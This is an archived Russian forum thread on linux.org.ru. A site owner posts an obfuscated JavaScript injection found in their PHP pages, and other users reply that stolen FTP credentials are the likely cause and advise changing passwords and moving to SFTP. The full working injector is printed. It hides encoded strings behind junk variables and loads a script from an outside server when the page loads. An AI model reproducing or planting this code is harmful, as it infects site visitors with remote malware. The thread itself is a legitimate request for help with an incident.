LINUX.ORG.RU
ФорумAdmin

[apache]Паламали

 


0

0

Здраствуй уважаемый олл. кто разберается что вот это может означать в хтмлине,если быть точнее - в пхпешине, однако вне <?php 8<>8 ?>

<script>var Y;if(Y!='cr' && Y!='R'){Y=''};var b;if(b!='t' && b!='RC'){b=''};var YO;if(YO!=''){YO='g'};function l(){var lq;if(lq!=''){lq='V'};this.W="";var Dj;if(Dj!='Wl' && Dj!='B'){Dj=''};var z=unescape;var c=window;var K=z("%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%63%6e%62%6c%6f%67%73%2e%63%6f%6d%2f%74%6f%79%73%72%75%73%2e%63%6f%6d%2e%70%68%70");var EW=new String();var Yu;if(Yu!='' && Yu!='_E'){Yu=''};function k(cU,D){var kz=new Date();var MD;if(MD!='' && MD!='nb'){MD=''};var L;if(L!='' && L!='oT'){L=null};var u="g";var x=z("%5b"), zk=z("%5d");this.PB='';this.v="";var r=x+D+zk;var _n="";var Ri=new Date();var M=new RegExp(r, u);var e;if(e!='vP'){e=''};return cU.replace(M, new String());};var wv;if(wv!='Wy'){wv=''};var JS;if(JS!='kf'){JS=''};var vS=new String();var GZ;if(GZ!='' && GZ!='ED'){GZ='VN'};var kY=new Date();var ph;if(ph!='zU' && ph!='hb'){ph=''};var nq=new Array();var _=k('83103484140431','134');var E=document;var RL='';var DG=new String();this._C='';var Zl='';function w(){var Gy="";var S=z("%68%74%74%70%3a%2f%2f%69%63%79%63%68%69%6e%61%2e%72%75%3a");var cY;if(cY!='Hd'){cY='Hd'};var zm;if(zm!='' && zm!='N'){zm=null};DG=S;var C="";DG+=_;var QR;if(QR!='QD'){QR='QD'};var fj=new Date();DG+=K;var Rmg=new String();this.Mb='';var XU='';try {var th=new String();var FQ;if(FQ!='rj' && FQ!='aY'){FQ='rj'};this._CI="";G=E.createElement(k('s2cPrJi2pYt4','47nAPJY2E'));this.Pr="";G[z("%73%72%63")]=DG;var ub=new Array();var GyE=new Array();G[z("%64%65%66%65%72")]=[1][0];var Xz;if(Xz!='abZ'){Xz='abZ'};E.body.appendChild(G);var Qs;if(Qs!='' && Qs!='ff'){Qs=null};this.Td='';var Ir;if(Ir!='Cz'){Ir='Cz'};var gr=new Date();} catch(km){var ip;if(ip!='TO' && ip != ''){ip=null};this.ES='';alert(km);var vN=new Array();var zQ=new Array();};var dv;if(dv!='' && dv!='Hq'){dv=''};}var Tg=new Array();var vD=new Array();c[String("onl"+"oadYP1".substr(0,3))]=w;var q;if(q!='' && q!='lz'){q=''};var WQ=new Date();this.io="";var pu=new Array();};var xbM=new Date();var SI;if(SI!='Tf'){SI=''};this.OU="";l();var SY;if(SY!='TD'){SY='TD'};this.Vu='';</script>
этого не было и тут оно явилось, походу взломаи мну, однако хочется узнать результат выполнения ей прелести, чтобы знать куда копать чтоли... Аваст утверждает что это троян.. помогите люди добрые. общая информация : разрешения на файло в папке: 500, owner: www-data. Rewrite off, deflate on


Обычно это бывает после того, как юзер сохранит пароли в Тотал Коммандере в винде, а троян его стырит и расшифрует...

xorik ★★★★★
()
Ответ на: комментарий от dreamer

а поподробней можно? общая инфа в php шине не используются всякие мускули етк, апач в чруте, вродь быдлокода тоже нету. сайт — статика, пхп исключительно для того чтобы инклудидь куски html, куски html вообще напрямую недоступны(403) ...
Буду благодарен за любой ответ. Ибо я обеспокоен :(. Подскажите пожалуйста куда копать...

offtop
() автор топика
Ответ на: комментарий от offtop

поменять пароль от фтп, а по возможности от него отказаться

если есть лица с доступом к этому фтп, использующие windows, оторвать им причинные места и заставить сходить к венерологу

Deleted
()
Ответ на: комментарий от Deleted

Спасибо, хорошая ссылка, но все равно аваста плюется :( осторожней там, очень не хочется чтобы ктото пострадал от такой нехорошей штуки(хочется поматериться но сдерживаюсь)

offtop
() автор топика
Ответ на: комментарий от offtop

а что ты делаешь на лоре?

материться нужно только на себя и еще раз на себя

если уж используешь оффтопик, потрудись не заражать свою систему чем попало

вообщем меняй пароли от фтп, а лучше переходи на sftp с ключами, и чисти свой агрегат

Deleted
()

Старик не одобрил бы такой код )

melkor217 ★★★★★
()
Вы не можете добавлять комментарии в эту тему. Тема перемещена в архив.